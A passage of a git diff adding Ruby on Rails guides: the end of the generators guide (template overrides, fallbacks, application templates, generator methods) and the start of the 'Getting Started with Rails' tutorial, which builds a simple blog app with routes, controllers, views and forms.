+# Search for :helper instead of :my_helper
+hook_for :test_framework, as: :helper
+```
+
+And now you can re-run scaffold for another resource and see it generating tests as well!
+
+Customizing Your Workflow by Changing Generators Templates
+----------------------------------------------------------
+
+In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.
+
+In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:
+
+```erb
+module <%= class_name %>Helper
+  attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+```
+
+and revert the last change in `config/application.rb`:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+```
+
+If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
+
+Scaffold templates in Rails frequently use ERB tags; these tags need to be
+escaped so that the generated output is valid ERB code.
+
+For example, the following escaped ERB tag would be needed in the template
+(note the extra `%`)...
+
+```ruby
+<%%= stylesheet_include_tag :application %>
+```
+
+...to generate the following output:
+
+```ruby
+<%= stylesheet_include_tag :application %>
+```
+
+Adding Generators Fallbacks
+---------------------------
+
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace.
+
+We can easily simulate this behavior by changing our `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+
+  # Add a fallback!
+  g.fallbacks[:shoulda] = :test_unit
+end
+```
+
+Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
+
+```bash
+$ bin/rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20130924143118_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/models/comment_test.rb
+      create      test/fixtures/comments.yml
+      invoke  resource_route
+       route    resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      invoke    shoulda
+      create      test/controllers/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke    jbuilder
+      create      app/views/comments/index.json.jbuilder
+      create      app/views/comments/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/comments.coffee
+      invoke    scss
+```
+
+Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
+
+Application Templates
+---------------------
+
+Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred to as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
+
+```ruby
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+  gem "devise"
+  generate "devise:install"
+  model_name = ask("What would you like the user model to be called? [user]")
+  model_name = "user" if model_name.blank?
+  generate "devise", model_name
+end
+```
+
+In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator.
+
+Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:
+
+```bash
+$ rails new thud -m template.rb
+```
+
+This command will generate the `Thud` application, and then apply the template to the generated output.
+
+Templates don't have to be stored on the local system, the `-m` option also supports online templates:
+
+```bash
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+```
+
+Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
+
+Adding Command Line Arguments
+-----------------------------
+Rails generators can be easily modified to accept custom command line arguments. This functionality comes from [Thor](http://www.rubydoc.info/github/erikhuda/thor/master/Thor/Base/ClassMethods#class_option-instance_method):
+
+```
+class_option :scope, type: :string, default: 'read_products'
+```
+
+Now our generator can be invoked as follows:
+
+```bash
+rails generate initializer --scope write_products
+```
+
+The command line arguments are accessed through the `options` method inside the generator class. e.g:
+
+```ruby
+@scope = options['scope']
+```
+
+Generator methods
+-----------------
+
+The following are methods available for both generators and templates for Rails.
+
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
+
+### `gem`
+
+Specifies a gem dependency of the application.
+
+```ruby
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+```
+
+Available options are:
+
+* `:group` - The group in the `Gemfile` where this gem should go.
+* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method.
+* `:git` - The URL to the git repository for this gem.
+
+Any additional options passed to this method are put on the end of the line:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+The above code will put the following line into `Gemfile`:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+### `gem_group`
+
+Wraps gem entries inside a group:
+
+```ruby
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+```
+
+### `add_source`
+
+Adds a specified source to `Gemfile`:
+
+```ruby
+add_source "http://gems.github.com"
+```
+
+This method also takes a block:
+
+```ruby
+add_source "http://gems.github.com" do
+  gem "rspec-rails"
+end
+```
+
+### `inject_into_file`
+
+Injects a block of code into a defined position in your file.
+
+```ruby
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+  puts "Hello World"
+RUBY
+end
+```
+
+### `gsub_file`
+
+Replaces text inside a file.
+
+```ruby
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+```
+
+Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively.
+
+### `application`
+
+Adds a line to `config/application.rb` directly after the application class definition.
+
+```ruby
+application "config.asset_host = 'http://example.com'"
+```
+
+This method can also take a block:
+
+```ruby
+application do
+  "config.asset_host = 'http://example.com'"
+end
+```
+
+Available options are:
+
+* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+
+```ruby
+application(nil, env: "development") do
+  "config.asset_host = 'http://localhost:3000'"
+end
+```
+
+### `git`
+
+Runs the specified git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+```
+
+The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
+
+### `vendor`
+
+Places a file into `vendor` which contains the specified code.
+
+```ruby
+vendor "sekrit.rb", '#top secret stuff'
+```
+
+This method also takes a block:
+
+```ruby
+vendor "seeds.rb" do
+  "puts 'in your app, seeding your database'"
+end
+```
+
+### `lib`
+
+Places a file into `lib` which contains the specified code.
+
+```ruby
+lib "special.rb", "p Rails.root"
+```
+
+This method also takes a block:
+
+```ruby
+lib "super_special.rb" do
+  puts "Super special!"
+end
+```
+
+### `rakefile`
+
+Creates a Rake file in the `lib/tasks` directory of the application.
+
+```ruby
+rakefile "test.rake", "hello there"
+```
+
+This method also takes a block:
+
+```ruby
+rakefile "test.rake" do
+  %Q{
+    task rock: :environment do
+      puts "Rockin'"
+    end
+  }
+end
+```
+
+### `initializer`
+
+Creates an initializer in the `config/initializers` directory of the application:
+
+```ruby
+initializer "begin.rb", "puts 'this is the beginning'"
+```
+
+This method also takes a block, expected to return a string:
+
+```ruby
+initializer "begin.rb" do
+  "puts 'this is the beginning'"
+end
+```
+
+### `generate`
+
+Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
+
+```ruby
+generate "scaffold", "forums title:string description:text"
+```
+
+
+### `rake`
+
+Runs the specified Rake task.
+
+```ruby
+rake "db:migrate"
+```
+
+Available options are:
+
+* `:env` - Specifies the environment in which to run this rake task.
+* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`.
+
+### `route`
+
+Adds text to the `config/routes.rb` file:
+
+```ruby
+route "resources :people"
+```
+
+### `readme`
+
+Output the contents of a file in the template's `source_path`, usually a README.
+
+```ruby
+readme "README"
+```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
new file mode 100644
index 0000000000..2ed1883ede
--- /dev/null
+++ b/guides/source/getting_started.md
@@ -0,0 +1,2097 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Getting Started with Rails
+==========================
+
+This guide covers getting up and running with Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to install Rails, create a new Rails application, and connect your
+  application to a database.
+* The general layout of a Rails application.
+* The basic principles of MVC (Model, View, Controller) and RESTful design.
+* How to quickly generate the starting pieces of a Rails application.
+
+--------------------------------------------------------------------------------
+
+Guide Assumptions
+-----------------
+
+This guide is designed for beginners who want to get started with a Rails
+application from scratch. It does not assume that you have any prior experience
+with Rails.
+
+Rails is a web application framework running on the Ruby programming language.
+If you have no prior experience with Ruby, you will find a very steep learning
+curve diving straight into Rails. There are several curated lists of online resources
+for learning Ruby:
+
+* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
+* [List of Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md#ruby)
+
+Be aware that some resources, while still excellent, cover versions of Ruby as old as
+1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day
+development with Rails.
+
+What is Rails?
+--------------
+
+Rails is a web application development framework written in the Ruby programming language.
+It is designed to make programming web applications easier by making assumptions
+about what every developer needs to get started. It allows you to write less
+code while accomplishing more than many other languages and frameworks.
+Experienced Rails developers also report that it makes web application
+development more fun.
+
+Rails is opinionated software. It makes the assumption that there is a "best"
+way to do things, and it's designed to encourage that way - and in some cases to
+discourage alternatives. If you learn "The Rails Way" you'll probably discover a
+tremendous increase in productivity. If you persist in bringing old habits from
+other languages to your Rails development, and trying to use patterns you
+learned elsewhere, you may have a less happy experience.
+
+The Rails philosophy includes two major guiding principles:
+
+* **Don't Repeat Yourself:** DRY is a principle of software development which
+  states that "Every piece of knowledge must have a single, unambiguous, authoritative
+  representation within a system." By not writing the same information over and over
+  again, our code is more maintainable, more extensible, and less buggy.
+* **Convention Over Configuration:** Rails has opinions about the best way to do many
+  things in a web application, and defaults to this set of conventions, rather than
+  require that you specify minutiae through endless configuration files.
+
+Creating a New Rails Project
+----------------------------
+The best way to read this guide is to follow it step by step. All steps are
+essential to run this example application and no additional code or steps are
+needed.
+
+By following along with this guide, you'll create a Rails project called
+`blog`, a (very) simple weblog. Before you can start building the application,
+you need to make sure that you have Rails itself installed.
+
+TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
+though it may have been customized to appear differently. If you are using Windows,
+your prompt will look something like `c:\source_code>`
+
+### Installing Rails
+
+Before you install Rails, you should check to make sure that your system has the
+proper prerequisites installed. These include Ruby and SQLite3.
+
+Open up a command line prompt. On macOS open Terminal.app, on Windows choose
+"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a
+dollar sign `$` should be run in the command line. Verify that you have a
+current version of Ruby installed:
+
+```bash
+$ ruby -v
+ruby 2.3.1p112
+```
+
+Rails requires Ruby version 2.2.2 or later. If the version number returned is
+less than that number, you'll need to install a fresh copy of Ruby.
+
+TIP: A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
+while macOS users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
+For more installation methods for most Operating Systems take a look at
+[ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/).
+
+If you are working on Windows, you should also install the
+[Ruby Installer Development Kit](http://rubyinstaller.org/downloads/).
+
+You will also need an installation of the SQLite3 database.
+Many popular UNIX-like OSes ship with an acceptable version of SQLite3.
+On Windows, if you installed Rails through Rails Installer, you
+already have SQLite installed. Others can find installation instructions
+at the [SQLite3 website](https://www.sqlite.org).
+Verify that it is correctly installed and in your PATH:
+
+```bash
+$ sqlite3 --version
+```
+
+The program should report its version.
+
+To install Rails, use the `gem install` command provided by RubyGems:
+
+```bash
+$ gem install rails
+```
+
+To verify that you have everything installed correctly, you should be able to
+run the following:
+
+```bash
+$ rails --version
+```
+
+If it says something like "Rails 5.1.1", you are ready to continue.
+
+### Creating the Blog Application
+
+Rails comes with a number of scripts called generators that are designed to make
+your development life easier by creating everything that's necessary to start
+working on a particular task. One of these is the new application generator,
+which will provide you with the foundation of a fresh Rails application so that
+you don't have to write it yourself.
+
+To use this generator, open a terminal, navigate to a directory where you have
+rights to create files, and type:
+
+```bash
+$ rails new blog
+```
+
+This will create a Rails application called Blog in a `blog` directory and
+install the gem dependencies that are already mentioned in `Gemfile` using
+`bundle install`.
+
+NOTE: If you're using Windows Subsystem for Linux then there are currently some
+limitations on file system notifications that mean you should disable the `spring`
+and `listen` gems which you can do by running `rails new blog --skip-spring --skip-listen`.
+
+TIP: You can see all of the command line options that the Rails application
+builder accepts by running `rails new -h`.
+
+After you create the blog application, switch to its folder:
+
+```bash
+$ cd blog
+```
+
+The `blog` directory has a number of auto-generated files and folders that make
+up the structure of a Rails application. Most of the work in this tutorial will
+happen in the `app` folder, but here's a basic rundown on the function of each
+of the files and folders that Rails created by default:
+
+| File/Folder | Purpose |
+| ----------- | ------- |
+|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs and assets for your application. You'll focus on this folder for the remainder of this guide.|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy or run your application.|
+|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
+|config.ru|Rack configuration for Rack based servers used to start the application.|
+|db/|Contains your current database schema, as well as the database migrations.|
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).|
+|lib/|Extended modules for your application.|
+|log/|Application log files.|
+|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
+|tmp/|Temporary files (like cache and pid files).|
+|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
+|.gitignore|This file tells git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more info about ignoring files.
+
+Hello, Rails!
+-------------
+
+To begin with, let's get some text up on screen quickly. To do this, you need to
+get your Rails application server running.
+
+### Starting up the Web Server
+
+You actually have a functional Rails application already. To see it, you need to
+start a web server on your development machine. You can do this by running the
+following in the `blog` directory:
+
+```bash
+$ bin/rails server
+```
+
+TIP: If you are using Windows, you have to pass the scripts under the `bin`
+folder directly to the Ruby interpreter e.g. `ruby bin\rails server`.
+
+TIP: Compiling CoffeeScript and JavaScript asset compression requires you
+have a JavaScript runtime available on your system, in the absence
+of a runtime you will see an `execjs` error during asset compilation.
+Usually macOS and Windows come with a JavaScript runtime installed.
+Rails adds the `mini_racer` gem to the generated `Gemfile` in a
+commented line for new apps and you can uncomment if you need it.
+`therubyrhino` is the recommended runtime for JRuby users and is added by
+default to the `Gemfile` in apps generated under JRuby. You can investigate
+all the supported runtimes at [ExecJS](https://github.com/rails/execjs#readme).
+
+This will fire up Puma, a web server distributed with Rails by default. To see
+your application in action, open a browser window and navigate to
+<http://localhost:3000>. You should see the Rails default information page:
+
+![Welcome aboard screenshot](images/getting_started/rails_welcome.png)
+
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
+running. To verify the server has stopped you should see your command prompt
+cursor again. For most UNIX-like systems including macOS this will be a
+dollar sign `$`. In development mode, Rails does not generally require you to
+restart the server; changes you make in files will be automatically picked up by
+the server.
+
+The "Welcome aboard" page is the _smoke test_ for a new Rails application: it
+makes sure that you have your software configured correctly enough to serve a
+page.
+
+### Say "Hello", Rails
+
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a
+_view_.
+
+A controller's purpose is to receive specific requests for the application.
+_Routing_ decides which controller receives which requests. Often, there is more
+than one route to each controller, and different routes can be served by
+different _actions_. Each action's purpose is to collect information to provide
+it to a view.
+
+A view's purpose is to display this information in a human readable format. An
+important distinction to make is that it is the _controller_, not the view,
+where information is collected. The view should just display that information.
+By default, view templates are written in a language called eRuby (Embedded
+Ruby) which is processed by the request cycle in Rails before being sent to the
+user.
+
+To create a new controller, you will need to run the "controller" generator and
+tell it you want a controller called "Welcome" with an action called "index",
+just like this:
+
+```bash
+$ bin/rails generate controller Welcome index
+```
+
+Rails will create several files and a route for you.
+
+```bash
+create  app/controllers/welcome_controller.rb
+ route  get 'welcome/index'
+invoke  erb
+create    app/views/welcome
+create    app/views/welcome/index.html.erb
+invoke  test_unit
+create    test/controllers/welcome_controller_test.rb
+invoke  helper
+create    app/helpers/welcome_helper.rb
+invoke    test_unit
+invoke  assets
+invoke    coffee
+create      app/assets/javascripts/welcome.coffee
+invoke    scss
+create      app/assets/stylesheets/welcome.scss
+```
+
+Most important of these are of course the controller, located at
+`app/controllers/welcome_controller.rb` and the view, located at
+`app/views/welcome/index.html.erb`.
+
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
+of the existing code in the file, and replace it with the following single line
+of code:
+
+```html
+<h1>Hello, Rails!</h1>
+```
+
+### Setting the Application Home Page
+
+Now that we have made the controller and view, we need to tell Rails when we
+want "Hello, Rails!" to show up. In our case, we want it to show up when we
+navigate to the root URL of our site, <http://localhost:3000>. At the moment,
+"Welcome aboard" is occupying that spot.
+
+Next, you have to tell Rails where your actual home page is located.
+
+Open the file `config/routes.rb` in your editor.
+
+```ruby
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
+end
+```
+
+This is your application's _routing file_ which holds entries in a special
+[DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language)
+that tells Rails how to connect incoming requests to
+controllers and actions.
+Edit this file by adding the line of code `root 'welcome#index'`.
+It should look something like the following:
+
+```ruby
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  root 'welcome#index'
+end
+```
+
+`root 'welcome#index'` tells Rails to map requests to the root of the
+application to the welcome controller's index action and `get 'welcome/index'`
+tells Rails to map requests to <http://localhost:3000/welcome/index> to the
+welcome controller's index action. This was created earlier when you ran the
+controller generator (`bin/rails generate controller Welcome index`).
+
+Launch the web server again if you stopped it to generate the controller (`bin/rails
+server`) and navigate to <http://localhost:3000> in your browser. You'll see the
+"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
+indicating that this new route is indeed going to `WelcomeController`'s `index`
+action and is rendering the view correctly.
+
+TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
+
+Getting Up and Running
+----------------------
+
+Now that you've seen how to create a controller, an action and a view, let's
+create something with a bit more substance.
+
+In the Blog application, you will now create a new _resource_. A resource is the
+term used for a collection of similar objects, such as articles, people or
+animals.
+You can create, read, update and destroy items for a resource and these
+operations are referred to as _CRUD_ operations.
+
+Rails provides a `resources` method which can be used to declare a standard REST
+resource. You need to add the _article resource_ to the
+`config/routes.rb` so the file will look as follows:
+
+```ruby
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  resources :articles
+
+  root 'welcome#index'
+end
+```
+
+If you run `bin/rails routes`, you'll see that it has defined routes for all the
+standard RESTful actions.  The meaning of the prefix column (and other columns)
+will be seen later, but for now notice that Rails has inferred the
+singular form `article` and makes meaningful use of the distinction.
+
+```bash
+$ bin/rails routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+```
+
+In the next section, you will add the ability to create new articles in your
+application and be able to view them. This is the "C" and the "R" from CRUD:
+create and read. The form for doing this will look like this:
+
+![The new article form](images/getting_started/new_article.png)
+
+It will look a little basic for now, but that's ok. We'll look at improving the
+styling for it afterwards.
+
+### Laying down the groundwork
+
+Firstly, you need a place within the application to create a new article. A
+great place for that would be at `/articles/new`. With the route already
+defined, requests can now be made to `/articles/new` in the application.
+Navigate to <http://localhost:3000/articles/new> and you'll see a routing
+error:
+
+![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png)
+
+This error occurs because the route needs to have a controller defined in order
+to serve the request. The solution to this particular problem is simple: create
+a controller called `ArticlesController`. You can do this by running this
+command:
+
+```bash
+$ bin/rails generate controller Articles
+```
+
+If you open up the newly generated `app/controllers/articles_controller.rb`
+you'll see a fairly empty controller:
+
+```ruby
+class ArticlesController < ApplicationController
+end
+```
+
+A controller is simply a class that is defined to inherit from
+`ApplicationController`.
+It's inside this class that you'll define methods that will become the actions
+for this controller. These actions will perform CRUD operations on the articles
+within our system.
+
+NOTE: There are `public`, `private` and `protected` methods in Ruby,
+but only `public` methods can be actions for controllers.
+For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
+
+If you refresh <http://localhost:3000/articles/new> now, you'll get a new error:
+
+![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png)
+
+This error indicates that Rails cannot find the `new` action inside the
+`ArticlesController` that you just generated. This is because when controllers
+are generated in Rails they are empty by default, unless you tell it
+your desired actions during the generation process.
+
+To manually define an action inside a controller, all you need to do is to
+define a new method inside the controller. Open
+`app/controllers/articles_controller.rb` and inside the `ArticlesController`
+class, define the `new` method so that your controller now looks like this:
+
+```ruby
+class ArticlesController < ApplicationController
+  def new
+  end
+end
+```
+
+With the `new` method defined in `ArticlesController`, if you refresh
+<http://localhost:3000/articles/new> you'll see another error:
+
+![Template is missing for articles/new]
+(images/getting_started/template_is_missing_articles_new.png)
+
+You're getting this error now because Rails expects plain actions like this one
+to have views associated with them to display their information. With no view
+available, Rails will raise an exception.
+
+In the above image, the bottom line has been truncated. Let's see what the full
+error message looks like:
+
+>ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot.
+
+That's quite a lot of text! Let's quickly go through and understand what each
+part of it means.
+
+The first part identifies which template is missing. In this case, it's the
+`articles/new` template. Rails will first look for this template. If not found,
+then it will attempt to load a template called `application/new`. It looks for
+one here because the `ArticlesController` inherits from `ApplicationController`.
+
+The next part of the message contains `request.formats` which specifies
+the format of template to be served in response. It is set to `text/html` as we
+requested this page via browser, so Rails is looking for an HTML template.
+`request.variant` specifies what kind of physical devices would be served by
+the response and helps Rails determine which template to use in the response.
+It is empty because no information has been provided.
+
+The simplest template that would work in this case would be one located at
+`app/views/articles/new.html.erb`. The extension of this file name is important:
+the first extension is the _format_ of the template, and the second extension
+is the _handler_ that will be used to render the template. Rails is attempting
+to find a template called `articles/new` within `app/views` for the
+application. The format for this template can only be `html` and the default
+handler for HTML is `erb`. Rails uses other handlers for other formats.
+`builder` handler is used to build XML templates and `coffee` handler uses
+CoffeeScript to build JavaScript templates. Since you want to create a new
+HTML form, you will be using the `ERB` language which is designed to embed Ruby
+in HTML.
+
+Therefore the file should be called `articles/new.html.erb` and needs to be
+located inside the `app/views` directory of the application.
+
+Go ahead now and create a new file at `app/views/articles/new.html.erb` and
+write this content in it:
+
+```html
+<h1>New Article</h1>
+```
+
+When you refresh <http://localhost:3000/articles/new> you'll now see that the
+page has a title. The route, controller, action and view are now working
+harmoniously! It's time to create the form for a new article.
+
+### The first form
+
+To create a form within this template, you will use a *form
+builder*. The primary form builder for Rails is provided by a helper
+method called `form_for`. To use this method, add this code into
+`app/views/articles/new.html.erb`:
+
+```html+erb
+<%= form_for :article do |f| %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+```
+
+If you refresh the page now, you'll see the exact same form from our example above.
+Building forms in Rails is really just that easy!
+
+When you call `form_for`, you pass it an identifying object for this
+form. In this case, it's the symbol `:article`. This tells the `form_for`
+helper what this form is for. Inside the block for this method, the
+`FormBuilder` object - represented by `f` - is used to build two labels and two
+text fields, one each for the title and text of an article. Finally, a call to
+`submit` on the `f` object will create a submit button for the form.
+
+There's one problem with this form though. If you inspect the HTML that is
+generated, by viewing the source of the page, you will see that the `action`
+attribute for the form is pointing at `/articles/new`. This is a problem because
+this route goes to the very page that you're on right at the moment, and that
+route should only be used to display the form for a new article.
+
+The form needs to use a different URL in order to go somewhere else.
+This can be done quite simply with the `:url` option of `form_for`.
+Typically in Rails, the action that is used for new form submissions
+like this is called "create", and so the form should be pointed to that action.
+
+Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
+this:
+
+```html+erb
+<%= form_for :article, url: articles_path do |f| %>
+```
+
+In this example, the `articles_path` helper is passed to the `:url` option.
+To see what Rails will do with this, we look back at the output of
+`bin/rails routes`:
+
+```bash
+$ bin/rails routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+```
+
+The `articles_path` helper tells Rails to point the form to the URI Pattern
+associated with the `articles` prefix; and the form will (by default) send a
+`POST` request to that route. This is associated with the `create` action of
+the current controller, the `ArticlesController`.
+
+With the form and its associated route defined, you will be able to fill in the
+form and then click the submit button to begin the process of creating a new
+article, so go ahead and do that. When you submit the form, you should see a
+familiar error:
+
+![Unknown action create for ArticlesController]
+(images/getting_started/unknown_action_create_for_articles.png)
+
+You now need to create the `create` action within the `ArticlesController` for
+this to work.
+
+### Creating articles
+
+To make the "Unknown action" go away, you can define a `create` action within
+the `ArticlesController` class in `app/controllers/articles_controller.rb`,
+underneath the `new` action, as shown:
+
+```ruby
+class ArticlesController < ApplicationController
+  def new
+  end
+
+  def create
+  end
+end
+```
+
+If you re-submit the form now, you may not see any change on the page. Don't worry!
+This is because Rails by default returns `204 No Content` response for an action if
+we don't specify what the response should be. We just added the `create` action
+but didn't specify anything about how the response should be. In this case, the
+`create` action should save our new article to the database.
+
+When a form is submitted, the fields of the form are sent to Rails as
+_parameters_. These parameters can then be referenced inside the controller
+actions, typically to perform a particular task. To see what these parameters
+look like, change the `create` action to this:
+
+```ruby
+def create
+  render plain: params[:article].inspect
+end
+```
+
+The `render` method here is taking a very simple hash with a key of `:plain` and
+value of `params[:article].inspect`. The `params` method is the object which
+represents the parameters (or fields) coming in from the form. The `params`
+method returns an `ActionController::Parameters` object, which
+allows you to access the keys of the hash using either strings or symbols. In
+this situation, the only parameters that matter are the ones from the form.
+
+TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com".
+
+If you re-submit the form one more time, you'll see something that looks like the following:
+
+```ruby
+<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false>
+```
+
+This action is now displaying the parameters for the article that are coming in
+from the form. However, this isn't really all that helpful. Yes, you can see the
+parameters but nothing in particular is being done with them.
+
+### Creating the Article model
+
+Models in Rails use a singular name, and their corresponding database tables
+use a plural name. Rails provides a generator for creating models, which most
+Rails developers tend to use when creating new models. To create the new model,
+run this command in your terminal:
+
+```bash
+$ bin/rails generate model Article title:string text:text
+```
+
+With that command we told Rails that we want an `Article` model, together
+with a _title_ attribute of type string, and a _text_ attribute
+of type text. Those attributes are automatically added to the `articles`
+table in the database and mapped to the `Article` model.
+
+Rails responded by creating a bunch of files. For now, we're only interested
+in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb`
+(your name could be a bit different). The latter is responsible for creating
+the database structure, which is what we'll look at next.
+
+TIP: Active Record is smart enough to automatically map column names to model
